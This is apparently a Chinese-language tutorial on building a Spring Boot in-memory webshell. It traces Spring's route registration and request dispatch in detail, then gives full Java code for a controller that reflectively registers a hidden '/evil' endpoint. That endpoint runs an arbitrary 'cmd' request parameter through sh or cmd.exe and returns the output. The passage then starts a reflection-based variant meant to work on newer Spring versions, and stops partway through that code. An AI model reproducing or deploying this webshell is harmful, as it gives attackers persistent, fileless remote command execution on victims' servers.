SpringBoot 内存马

注册路由过程分析

我们进入 SpringApplication.run 函数,内部最终调用这个 run 函数

public ConfigurableApplicationContext run(String... args) {
        long startTime = System.nanoTime();
        DefaultBootstrapContext bootstrapContext = this.createBootstrapContext();
        ConfigurableApplicationContext context = null;
        this.configureHeadlessProperty();
        SpringApplicationRunListeners listeners = this.getRunListeners(args);
        listeners.starting(bootstrapContext, this.mainApplicationClass);

        try {
            ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);
            ConfigurableEnvironment environment = this.prepareEnvironment(listeners, bootstrapContext, applicationArguments);
            this.configureIgnoreBeanInfo(environment);
            Banner printedBanner = this.printBanner(environment);
            context = this.createApplicationContext();
            context.setApplicationStartup(this.applicationStartup);
            this.prepareContext(bootstrapContext, context, environment, listeners, applicationArguments, printedBanner);
            this.refreshContext(context);
            this.afterRefresh(context, applicationArguments);
            Duration timeTakenToStartup = Duration.ofNanos(System.nanoTime() - startTime);
            if (this.logStartupInfo) {
                (new StartupInfoLogger(this.mainApplicationClass)).logStarted(this.getApplicationLog(), timeTakenToStartup);
            }

            listeners.started(context, timeTakenToStartup);
            this.callRunners(context, applicationArguments);
        } catch (Throwable ex) {
            this.handleRunFailure(context, ex, listeners);
            throw new IllegalStateException(ex);
        }

        try {
            Duration timeTakenToReady = Duration.ofNanos(System.nanoTime() - startTime);
            listeners.ready(context, timeTakenToReady);
            return context;
        } catch (Throwable ex) {
            this.handleRunFailure(context, ex, (SpringApplicationRunListeners)null);
            throw new IllegalStateException(ex);
        }
    }

1. long startTime = System.nanoTime();

  • 记录启动开始时间,用于后续计算启动耗时。

2. DefaultBootstrapContext bootstrapContext = this.createBootstrapContext();

  • 创建一个轻量级的 引导上下文(Bootstrap Context)。
  • 主要用于 Spring Cloud 场景(如加载 bootstrap.yml),普通 Spring Boot 应用通常为空。

此时还没有任何 Bean,更没有 Controller 或路由。

3. ConfigurableApplicationContext context = null;

  • 声明主应用上下文变量,稍后初始化。

4. this.configureHeadlessProperty();

  • 设置 java.awt.headless=true,避免在无图形界面服务器上出错。

5–6. 获取并通知监听器启动

SpringApplicationRunListeners listeners = this.getRunListeners(args);
listeners.starting(bootstrapContext, this.mainApplicationClass);
  • 从 META-INF/spring.factories 加载所有 SpringApplicationRunListener(如 EventPublishingRunListener)。
  • 发布 ApplicationStartingEvent。

此时日志系统尚未初始化,事件主要用于扩展点。

7. ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);

  • 封装命令行参数(如 --server.port=8081)。

8. ConfigurableEnvironment environment = this.prepareEnvironment(...);

  • 创建 Environment(如 StandardServletEnvironment)。
  • 加载配置源
  • 系统属性
  • 环境变量
  • application.properties/yml
  • 命令行参数
  • 触发 ApplicationEnvironmentPreparedEvent(Spring Cloud Config 在此注入远程配置)。

此时配置已就绪,但 Bean 还未扫描。

9. this.configureIgnoreBeanInfo(environment);

  • 设置 java.beans.Introspector.IGNORE_ALL_BEANINFO=true,加速启动。

10. Banner printedBanner = this.printBanner(environment);

  • 打印 Spring Boot Banner(可关闭)。

11. context = this.createApplicationContext();

  • 根据应用类型创建 ApplicationContext:
  • Web → AnnotationConfigServletWebServerApplicationContext
  • Reactive → AnnotationConfigReactiveWebServerApplicationContext
  • 非 Web → AnnotationConfigApplicationContext

上下文对象已创建,但内部是空的(无 Bean、无路由)。

12. context.setApplicationStartup(this.applicationStartup);

  • 注入启动性能监控器(Spring Boot 2.4+)。

13. this.prepareContext(...);

这个方法做了很多事,直接影响后续路由扫描:

内部关键操作:

  1. 设置 Environment 到 context
  2. 注册单例 Bean
  • applicationArguments
  • printedBanner
  1. 应用 ApplicationContextInitializer(从 spring.factories 加载)
  2. 注册主配置类为 BeanDefinition
    即你带 @SpringBootApplication 的类(如 MyApp.class)

此时,主配置类已被注册为 BeanDefinition,但 Controller 还没扫描

**14. this.refreshContext(context); **

路由就在此注册,我们跟进

 private void refreshContext(ConfigurableApplicationContext context) {
        if (this.registerShutdownHook) {
            shutdownHook.registerApplicationContext(context);
        }

        this.refresh(context);
    }

跟进 this.refresh

  protected void refresh(ConfigurableApplicationContext applicationContext) {
        applicationContext.refresh();
    }

可以看到其就是调用了上下文对象 context 的 refresh 方法,所以我们要追踪 context 怎么来的

run 函数里面是这样创建的

context = this.createApplicationContext();

跟进

   protected ConfigurableApplicationContext createApplicationContext() {
        return this.applicationContextFactory.create(this.webApplicationType);
    }

我们再找到 applicationContextFactory

public SpringApplication(ResourceLoader resourceLoader, Class<?>... primarySources) {
        this.sources = new LinkedHashSet();
        this.bannerMode = Mode.CONSOLE;
        this.logStartupInfo = true;
        this.addCommandLineProperties = true;
        this.addConversionService = true;
        this.headless = true;
        this.registerShutdownHook = true;
        this.additionalProfiles = Collections.emptySet();
        this.isCustomEnvironment = false;
        this.lazyInitialization = false;
        this.applicationContextFactory = ApplicationContextFactory.DEFAULT;
        this.applicationStartup = ApplicationStartup.DEFAULT;
        this.resourceLoader = resourceLoader;
        Assert.notNull(primarySources, "PrimarySources must not be null");
        this.primarySources = new LinkedHashSet(Arrays.asList(primarySources));
        this.webApplicationType = WebApplicationType.deduceFromClasspath();
        this.bootstrapRegistryInitializers = new ArrayList(this.getSpringFactoriesInstances(BootstrapRegistryInitializer.class));
        this.setInitializers(this.getSpringFactoriesInstances(ApplicationContextInitializer.class));
        this.setListeners(this.getSpringFactoriesInstances(ApplicationListener.class));
        this.mainApplicationClass = this.deduceMainApplicationClass();
    }

可以看到是

this.applicationContextFactory = ApplicationContextFactory.DEFAULT;

跟进

public interface ApplicationContextFactory {
    ApplicationContextFactory DEFAULT = (webApplicationType) -> {
        try {
            switch (webApplicationType) {
                case SERVLET:
                    return new AnnotationConfigServletWebServerApplicationContext();
                case REACTIVE:
                    return new AnnotationConfigReactiveWebServerApplicationContext();
                default:
                    return new AnnotationConfigApplicationContext();
            }
        } catch (Exception ex) {
            throw new IllegalStateException("Unable create a default ApplicationContext instance, you may need a custom ApplicationContextFactory", ex);
        }
    };
}

可以看到这里根据不同的 web 服务类型返回不同的上下文对象

应用类型

创建的上下文类

用途

WebApplicationType.SERVLET

AnnotationConfigServletWebServerApplicationContext

传统 Servlet Web 应用(如 Tomcat + Spring MVC) 最常见

WebApplicationType.REACTIVE

AnnotationConfigReactiveWebServerApplicationContext

响应式 Web 应用(如 Netty + WebFlux)

其他(如 NONE)

AnnotationConfigApplicationContext

非 Web 应用(如批处理、定时任务)

我们一般是 AnnotationConfigServletWebServerApplicationContext,所以我们只需要分析 AnnotationConfigServletWebServerApplicationContext.refresh 方法即可

public class AnnotationConfigServletWebServerApplicationContext extends ServletWebServerApplicationContext
public class ServletWebServerApplicationContext extends GenericWebApplicationContext
public class GenericWebApplicationContext extends GenericApplicationContext
public class GenericApplicationContext extends AbstractApplicationContext

这里套了多层继承,最终 refresh 的实现在 AbstractApplicationContext 类

public void refresh() throws BeansException, IllegalStateException {
        synchronized(this.startupShutdownMonitor) {
            StartupStep contextRefresh = this.applicationStartup.start("spring.context.refresh");
            this.prepareRefresh();
            ConfigurableListableBeanFactory beanFactory = this.obtainFreshBeanFactory();
            this.prepareBeanFactory(beanFactory);

            try {
                this.postProcessBeanFactory(beanFactory);
                StartupStep beanPostProcess = this.applicationStartup.start("spring.context.beans.post-process");
                this.invokeBeanFactoryPostProcessors(beanFactory);
                this.registerBeanPostProcessors(beanFactory);
                beanPostProcess.end();
                this.initMessageSource();
                this.initApplicationEventMulticaster();
                this.onRefresh();
                this.registerListeners();
                this.finishBeanFactoryInitialization(beanFactory);
                this.finishRefresh();
            } catch (BeansException var10) {
                if (this.logger.isWarnEnabled()) {
                    this.logger.warn("Exception encountered during context initialization - cancelling refresh attempt: " + var10);
                }

                this.destroyBeans();
                this.cancelRefresh(var10);
                throw var10;
            } finally {
                this.resetCommonCaches();
                contextRefresh.end();
            }

        }
    }

1. prepareRefresh()

  • 初始化上下文状态(如启动时间戳、激活标志)。
  • 与路由注册无直接关系。

2. obtainFreshBeanFactory()

  • 创建一个新的 DefaultListableBeanFactory 实例(或重用现有工厂)。
  • 此时尚未加载任何用户定义的 Bean,包括 Controller。

3. prepareBeanFactory(beanFactory)

  • 配置 BeanFactory 的标准特性:
  • 注册 environment、systemProperties 等基础 Bean。
  • 添加常用的 BeanPostProcessor(如 AutowiredAnnotationBeanPostProcessor)。
  • 仍处于基础设施准备阶段,不涉及 Web 层或路由。

4. postProcessBeanFactory(beanFactory)

  • 模板方法,允许子类扩展 BeanFactory 配置。
  • 在 Web 上下文(如 ServletWebServerApplicationContext)中,此方法可能注册 Web 相关的后处理器或 Bean 定义。
  • 但不会触发 Controller 扫描或路由注册。

5. invokeBeanFactoryPostProcessors(beanFactory)

此方法执行所有注册的 BeanFactoryPostProcessor

initMessageSource() 与 initApplicationEventMulticaster()

  • 初始化国际化消息源和事件广播器。
  • 与路由注册无关。

8**. onRefresh() —— Web 容器启动点**

  • 在非 Web 应用中为空实现。
  • 在 ServletWebServerApplicationContext 中:
  • 调用 createWebServer() 启动内嵌 Servlet 容器(如 Tomcat)。
  • 注册 DispatcherServlet 到 Servlet 容器。
  • 此时 Web 服务器已启动,但 DispatcherServlet 的 HandlerMapping 尚未填充路由信息。

9. registerListeners()

  • 注册应用监听器(ApplicationListener)。
  • 与路由注册无直接关联。

**10. finishBeanFactoryInitialization(beanFactory) **

此方法初始化所有非懒加载的单例 Bean。在此过程中:

初始化 RequestMappingHandlerMapping Bean

  • RequestMappingHandlerMapping 实现了 InitializingBean 接口。
  • 在其属性设置完成后,Spring 调用 afterPropertiesSet() 方法:
@Override
public void afterPropertiesSet() {
    initHandlerMethods();
}

initHandlerMethods() 执行流程

  1. 获取所有候选 Bean 名称(来自 BeanFactory)。
  2. 对每个 Bean:
  • 获取其类型(Class<?>)。
  • 调用
isHandler(Class<?>)

判断是否为 Controller:

protected boolean isHandler(Class<?> beanType) {
    return AnnotatedElementUtils.hasAnnotation(beanType, Controller.class) ||
           AnnotatedElementUtils.hasAnnotation(beanType, RestController.class);
}
  • 若是,则调用 detectHandlerMethods(beanName)。
detectHandlerMethods(String beanName)
  • 获取该 Bean 类的所有方法。
  • 对每个方法,检查是否存在 @RequestMapping 或其派生注解(如 @GetMapping)。
  • 构建 RequestMappingInfo 对象(包含路径、HTTP 方法、参数约束等)。
  • 创建 HandlerMethod 对象(封装目标方法、参数解析器等)。
(RequestMappingInfo, HandlerMethod)

对注册到内部映射表:

this.handlerMethods.put(mapping, handlerMethod);

至此,所有 @Controller 中的路由方法均被解析并注册到 RequestMappingHandlerMapping 的内部数据结构中。

注意:此过程仅依赖 Class 信息,不要求 Controller Bean 已完全实例化。实际实例化会在首次请求或非懒加载策略下完成。

11. finishRefresh()

  • 发布 ContextRefreshedEvent。
  • 启动 Live Beans View(若启用)。
  • 标志容器刷新完成,应用进入就绪状态。
  • 此时所有路由已注册完毕,DispatcherServlet 可正常处理 HTTP 请求。

路由注册完整调用链总结

SpringApplication.run()
 └─ refreshContext()
     └─ AbstractApplicationContext.refresh()
         ├─ invokeBeanFactoryPostProcessors()
         │   └─ ConfigurationClassPostProcessor
         │       └─ @ComponentScan → 发现 @Controller → 注册为 BeanDefinition
         └─ finishBeanFactoryInitialization()
             └─ 初始化 RequestMappingHandlerMapping Bean
                 └─ afterPropertiesSet()
                     └─ initHandlerMethods()
                         ├─ 遍历所有 BeanDefinition
                         ├─ isHandler(YourController.class) → true
                         └─ detectHandlerMethods("yourController")
                             └─ 解析 @GetMapping("/api/users") 等
                                 └─ 注册到 handlerMethods Map

请求流程分析

org.springframework.web.servlet.DispatcherServlet#doDispatch() 方法是核心处理逻辑

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
        HttpServletRequest processedRequest = request;
        HandlerExecutionChain mappedHandler = null;
        boolean multipartRequestParsed = false;
        WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

        try {
            try {
                ModelAndView mv = null;
                Exception dispatchException = null;

                try {
                    processedRequest = this.checkMultipart(request);
                    multipartRequestParsed = processedRequest != request;
                    mappedHandler = this.getHandler(processedRequest);
                    if (mappedHandler == null) {
                        this.noHandlerFound(processedRequest, response);
                        return;
                    }

                    HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
                    String method = request.getMethod();
                    boolean isGet = HttpMethod.GET.matches(method);
                    if (isGet || HttpMethod.HEAD.matches(method)) {
                        long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
                        if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
                            return;
                        }
                    }

                    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                        return;
                    }

                    mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                    if (asyncManager.isConcurrentHandlingStarted()) {
                        return;
                    }

                    this.applyDefaultViewName(processedRequest, mv);
                    mappedHandler.applyPostHandle(processedRequest, response, mv);
                } catch (Exception ex) {
                    dispatchException = ex;
                } catch (Throwable err) {
                    dispatchException = new NestedServletException("Handler dispatch failed", err);
                }

                this.processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
            } catch (Exception ex) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
            } catch (Throwable err) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", err));
            }

        } finally {
            if (asyncManager.isConcurrentHandlingStarted()) {
                if (mappedHandler != null) {
                    mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
                }
            } else if (multipartRequestParsed) {
                this.cleanupMultipart(processedRequest);
            }

        }
    }

我们主要关注查找处理器部分的代码

mappedHandler = this.getHandler(processedRequest);
if (mappedHandler == null) {
    this.noHandlerFound(processedRequest, response);
    return;
}

这里会获得对应路由的处理函数,我们可以调试看到

这里成功获取了 spring.example.controller.Mycontroller#Hello() 方法

我们可以跟进看看详细处理过程

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for(HandlerMapping mapping : this.handlerMappings) {
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }

这里会用不同的 HandlerMapping 依次对其处理,我们正常就是第一个默认 HandlerMapping 即可处理

跟进,触发的是虚类 AbstractHandlerMethodMapping 的 getHandler 方法

 public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        Object handler = this.getHandlerInternal(request);
        if (handler == null) {
            handler = this.getDefaultHandler();
        }

        if (handler == null) {
            return null;
        } else {
            if (handler instanceof String) {
                String handlerName = (String)handler;
                handler = this.obtainApplicationContext().getBean(handlerName);
            }

            if (!ServletRequestPathUtils.hasCachedPath(request)) {
                this.initLookupPath(request);
            }

            HandlerExecutionChain executionChain = this.getHandlerExecutionChain(handler, request);
            if (this.logger.isTraceEnabled()) {
                this.logger.trace("Mapped to " + handler);
            } else if (this.logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) {
                this.logger.debug("Mapped to " + executionChain.getHandler());
            }

            if (this.hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
                CorsConfiguration config = this.getCorsConfiguration(handler, request);
                if (this.getCorsConfigurationSource() != null) {
                    CorsConfiguration globalConfig = this.getCorsConfigurationSource().getCorsConfiguration(request);
                    config = globalConfig != null ? globalConfig.combine(config) : config;
                }

                if (config != null) {
                    config.validateAllowCredentials();
                }

                executionChain = this.getCorsHandlerExecutionChain(request, executionChain, config);
            }

            return executionChain;
        }
    }

核心在 getHandlerInternal 方法

protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
        request.removeAttribute(PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);

        HandlerMethod var2;
        try {
            var2 = super.getHandlerInternal(request);
        } finally {
            ProducesRequestCondition.clearMediaTypesAttribute(request);
        }

        return var2;
    }

跟进 super.getHandlerInternal

 protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
        String lookupPath = this.initLookupPath(request);
        this.mappingRegistry.acquireReadLock();

        HandlerMethod var4;
        try {
            HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request);
            var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null;
        } finally {
            this.mappingRegistry.releaseReadLock();
        }

        return var4;
    }

这里 initLookPath 获取请求路径字符串,this.mappingRegistry.acquireReadLock(); 上锁,然后

this.lookupHandlerMethod(lookupPath, request); 获取对应路由处理方法,我们跟进

 protected HandlerMethod lookupHandlerMethod(String lookupPath, HttpServletRequest request) throws Exception {
        List<AbstractHandlerMethodMapping<T>.Match> matches = new ArrayList();
        List<T> directPathMatches = this.mappingRegistry.getMappingsByDirectPath(lookupPath);
        if (directPathMatches != null) {
            this.addMatchingMappings(directPathMatches, matches, request);
        }

        if (matches.isEmpty()) {
            this.addMatchingMappings(this.mappingRegistry.getRegistrations().keySet(), matches, request);
        }

        if (matches.isEmpty()) {
            return this.handleNoMatch(this.mappingRegistry.getRegistrations().keySet(), lookupPath, request);
        } else {
            AbstractHandlerMethodMapping<T>.Match bestMatch = (Match)matches.get(0);
            if (matches.size() > 1) {
                Comparator<AbstractHandlerMethodMapping<T>.Match> comparator = new MatchComparator(this.getMappingComparator(request));
                matches.sort(comparator);
                bestMatch = (Match)matches.get(0);
                if (this.logger.isTraceEnabled()) {
                    this.logger.trace(matches.size() + " matching mappings: " + matches);
                }

                if (CorsUtils.isPreFlightRequest(request)) {
                    for(AbstractHandlerMethodMapping<T>.Match match : matches) {
                        if (match.hasCorsConfig()) {
                            return PREFLIGHT_AMBIGUOUS_MATCH;
                        }
                    }
                } else {
                    AbstractHandlerMethodMapping<T>.Match secondBestMatch = (Match)matches.get(1);
                    if (comparator.compare(bestMatch, secondBestMatch) == 0) {
                        Method m1 = bestMatch.getHandlerMethod().getMethod();
                        Method m2 = secondBestMatch.getHandlerMethod().getMethod();
                        String uri = request.getRequestURI();
                        throw new IllegalStateException("Ambiguous handler methods mapped for '" + uri + "': {" + m1 + ", " + m2 + "}");
                    }
                }
            }
List<T> directPathMatches = this.mappingRegistry.getMappingsByDirectPath(lookupPath);

这里获取该路径的所有 RequestMappingInfo ,然后进入

this.addMatchingMappings(directPathMatches, matches, request);

跟进

 private void addMatchingMappings(Collection<T> mappings, List<AbstractHandlerMethodMapping<T>.Match> matches, HttpServletRequest request) {
        for(T mapping : mappings) {
            T match = (T)this.getMatchingMapping(mapping, request);
            if (match != null) {
                matches.add(new Match(match, (MappingRegistration)this.mappingRegistry.getRegistrations().get(mapping)));
            }
        }

    }

这里就是遍历所有的 RequestMappingInfo ,getMatchingMapping 通过检查 request 的各项内容是否和 mapping 符合,如果符合则加入;

其中关键匹配字段有一个 RequestMappingInfo 的 PathPatternsRequestCondition 和 patternsCondition 成员 ;

在 Spring Boot 2.x 及更早版本中,patternsCondition 解析器是唯一可用的方式来匹配路径;

从 Spring 5.3 开始引入 PathPatternsRequestCondition 解析器新的匹配方式且默认都这个。

内存马的构建

旧版

我们只需要根据路由注册和请求过程构造即可

package spring.example.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Scanner;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.util.pattern.PathPatternParser;

@RestController
public class InjectController {
    @RequestMapping("/inject")
    public String inject() throws Exception{
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        Method method = Evil.class.getMethod("cmd");

        PatternsRequestCondition url = new PatternsRequestCondition("/evil");

        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(RequestMethod.GET);

        RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);


        Evil injectedController = new Evil();

        requestMappingHandlerMapping.registerMapping(info, injectedController, method);

        return "Inject ok";
    }

    @RestController
    public static class Evil {
        public Evil(){
        }
        public void cmd() throws Exception {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            String cmd = request.getParameter("cmd");

            if (request.getParameter("cmd") != null) {
                boolean flag = true;
                String osname = System.getProperty("os.name");
                if (osname != null && osname.toLowerCase().contains("win")) {
                    flag = false;
                }
                String[] cmds = flag ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
                response.getWriter().close();
            }
        }
    }
}

旧版的 springboot 内存马基本就是这样,网上资料也大都是这个,但是较新一些的 springboot 版本将会报错:

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

这表示 request 对象缺少 org.springframework.web.util.UrlPathHelper.PATH 这个属性

这是为什么呢?

原因分析

我们动调深入分析一下原因,我们接着上文的分析 getMatchingMapping 函数

    protected RequestMappingInfo getMatchingMapping(RequestMappingInfo info, HttpServletRequest request) {
        return info.getMatchingCondition(request);
    }

进入检查函数

public RequestMappingInfo getMatchingCondition(HttpServletRequest request) {
        RequestMethodsRequestCondition methods = this.methodsCondition.getMatchingCondition(request);
        if (methods == null) {
            return null;
        } else {
            ParamsRequestCondition params = this.paramsCondition.getMatchingCondition(request);
            if (params == null) {
                return null;
            } else {
                HeadersRequestCondition headers = this.headersCondition.getMatchingCondition(request);
                if (headers == null) {
                    return null;
                } else {
                    ConsumesRequestCondition consumes = this.consumesCondition.getMatchingCondition(request);
                    if (consumes == null) {
                        return null;
                    } else {
                        ProducesRequestCondition produces = this.producesCondition.getMatchingCondition(request);
                        if (produces == null) {
                            return null;
                        } else {
                            PathPatternsRequestCondition pathPatterns = null;
                            if (this.pathPatternsCondition != null) {
                                pathPatterns = this.pathPatternsCondition.getMatchingCondition(request);
                                if (pathPatterns == null) {
                                    return null;
                                }
                            }

                            PatternsRequestCondition patterns = null;
                            if (this.patternsCondition != null) {
                                patterns = this.patternsCondition.getMatchingCondition(request);
                                if (patterns == null) {
                                    return null;
                                }
                            }

                            RequestConditionHolder custom = this.customConditionHolder.getMatchingCondition(request);
                            return custom == null ? null : new RequestMappingInfo(this.name, pathPatterns, patterns, methods, params, headers, consumes, produces, custom, this.options);
                        }
                    }
                }
            }
        }
    }

该函数会检查请求参数,请求头,请求路径是否和 RequestMappingInfo 匹配,如果不符合则会退出

具体问题出现在请求路径的匹配

 if (this.patternsCondition != null) {
                                patterns = this.patternsCondition.getMatchingCondition(request);
                                if (patterns == null) {
                                    return null;
                                }
                            }

跟进

 public PatternsRequestCondition getMatchingCondition(HttpServletRequest request) {
        String lookupPath = UrlPathHelper.getResolvedLookupPath(request);
        List<String> matches = this.getMatchingPatterns(lookupPath);
        return !matches.isEmpty() ? new PatternsRequestCondition(new LinkedHashSet(matches), this) : null;
    }

跟进

public static String getResolvedLookupPath(ServletRequest request) {
        String lookupPath = (String)request.getAttribute(PATH_ATTRIBUTE);
        Assert.notNull(lookupPath, "Expected lookupPath in request attribute \"" + PATH_ATTRIBUTE + "\".");
        return lookupPath;
    }

这里 PATH_ATTRIBUTE 是 org.springframework.web.util.UrlPathHelper.PATH

它在获取 request 的 org.springframework.web.util.UrlPathHelper.PATH 属性,但是此时我们查看 request 对象

并没有 org.springframework.web.util.UrlPathHelper.PATH 属性 ,所以会抛出异常。

我们的 request 对象为什么没有这个属性呢?

原因在于新版本的 springboot 的路径解析器默认使用的是新版解析器 PathPatternsRequestCondition ,而我们注入的 RequestMappingInfo 对象使用的是旧版的 patternsCondition 解析器

这是我们注入的 RequestMappingInfo ,可以看到新版 PathPatternsRequestCondition 解析器字段是 null,使用的是旧版解析器 patternsCondition ,而新版默认使用的是 PathPatternsRequestCondition 解析器 ,因此 request 对象没有 patternsCondition 解析器所需要的 org.springframework.web.util.UrlPathHelper.PATH 属性。

我们回到 getMatchingCondition 函数,其实前面就有检查

 if (this.pathPatternsCondition != null) {
                                pathPatterns = this.pathPatternsCondition.getMatchingCondition(request);
                                if (pathPatterns == null) {
                                    return null;
                                }

这里如果使用的是 pathPatternsCondition 解析器,则会有进入这个分支。

所以我们要构建一个使用 pathPatternsCondition 解析器的 RequestMappingInfo。

我们查看 RequestMappingInfo 的构造函数

@Deprecated
    public RequestMappingInfo(@Nullable String name, @Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {
        this(name, (PathPatternsRequestCondition)null, patterns != null ? patterns : EMPTY_PATTERNS, methods != null ? methods : EMPTY_REQUEST_METHODS, params != null ? params : EMPTY_PARAMS, headers != null ? headers : EMPTY_HEADERS, consumes != null ? consumes : EMPTY_CONSUMES, produces != null ? produces : EMPTY_PRODUCES, custom != null ? new RequestConditionHolder(custom) : EMPTY_CUSTOM, new BuilderConfiguration());
    }

    /** @deprecated */
    @Deprecated
    public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {
        this((String)null, patterns, methods, params, headers, consumes, produces, custom);
    }

    /** @deprecated */
    @Deprecated
    public RequestMappingInfo(RequestMappingInfo info, @Nullable RequestCondition<?> customRequestCondition) {
        this(info.name, info.patternsCondition, info.methodsCondition, info.paramsCondition, info.headersCondition, info.consumesCondition, info.producesCondition, customRequestCondition);
    }

    private RequestMappingInfo(@Nullable String name, @Nullable PathPatternsRequestCondition pathPatternsCondition, @Nullable PatternsRequestCondition patternsCondition, RequestMethodsRequestCondition methodsCondition, ParamsRequestCondition paramsCondition, HeadersRequestCondition headersCondition, ConsumesRequestCondition consumesCondition, ProducesRequestCondition producesCondition, RequestConditionHolder customCondition, BuilderConfiguration options) {
        Assert.isTrue(pathPatternsCondition != null || patternsCondition != null, "Neither PathPatterns nor String patterns condition");
        this.name = StringUtils.hasText(name) ? name : null;
        this.pathPatternsCondition = pathPatternsCondition;
        this.patternsCondition = patternsCondition;
        this.methodsCondition = methodsCondition;
        this.paramsCondition = paramsCondition;
        this.headersCondition = headersCondition;
        this.consumesCondition = consumesCondition;
        this.producesCondition = producesCondition;
        this.customConditionHolder = customCondition;
        this.options = options;
        this.hashCode = calculateHashCode(this.pathPatternsCondition, this.patternsCondition, this.methodsCondition, this.paramsCondition, this.headersCondition, this.consumesCondition, this.producesCondition, this.customConditionHolder);
    }

该类有三个公共构造函数,但是都只能构造使用 patternsCondition 解析器的 RequestMappingInfo,因此我们要使用反射来构造。

首先我们根据其公共函数构造出几个默认的字段

this(name, (PathPatternsRequestCondition)null, patterns != null ? patterns : EMPTY_PATTERNS, methods != null ? methods : EMPTY_REQUEST_METHODS, params != null ? params : EMPTY_PARAMS, headers != null ? headers : EMPTY_HEADERS, consumes != null ? consumes : EMPTY_CONSUMES, produces != null ? produces : EMPTY_PRODUCES, custom != null ? new RequestConditionHolder(custom) : EMPTY_CUSTOM, new BuilderConfiguration());

默认字段

private static final PathPatternsRequestCondition EMPTY_PATH_PATTERNS = new PathPatternsRequestCondition();
    private static final PatternsRequestCondition EMPTY_PATTERNS = new PatternsRequestCondition(new String[0]);
    private static final RequestMethodsRequestCondition EMPTY_REQUEST_METHODS = new RequestMethodsRequestCondition(new RequestMethod[0]);
    private static final ParamsRequestCondition EMPTY_PARAMS = new ParamsRequestCondition(new String[0]);
    private static final HeadersRequestCondition EMPTY_HEADERS = new HeadersRequestCondition(new String[0]);
    private static final ConsumesRequestCondition EMPTY_CONSUMES = new ConsumesRequestCondition(new String[0]);
    private static final ProducesRequestCondition EMPTY_PRODUCES = new ProducesRequestCondition(new String[0]);
    private static final RequestConditionHolder EMPTY_CUSTOM = new RequestConditionHolder((RequestCondition)null);

构造默认字段

RequestMethodsRequestCondition methods = new RequestMethodsRequestCondition(new RequestMethod[0]);
        ParamsRequestCondition params = new ParamsRequestCondition(new String[0]);
        HeadersRequestCondition headers = new HeadersRequestCondition(new String[0]);
        ConsumesRequestCondition consumes = new ConsumesRequestCondition(new String[0]);
        ProducesRequestCondition produces = new ProducesRequestCondition(new String[0]);
        RequestConditionHolder custom = new RequestConditionHolder(null);
        RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration();

然后通过反射构造 RequestMappingInfo

PathPatternParser parser = new PathPatternParser();
        PathPatternsRequestCondition url = new PathPatternsRequestCondition(parser, "/evil");

        
        Constructor<RequestMappingInfo> constructor =
                RequestMappingInfo.class.getDeclaredConstructor(
                        String.class,                          // name
                        PathPatternsRequestCondition.class,    // pathPatternsCondition
                        PatternsRequestCondition.class,        // patternsCondition
                        RequestMethodsRequestCondition.class,
                        ParamsRequestCondition.class,
                        HeadersRequestCondition.class,
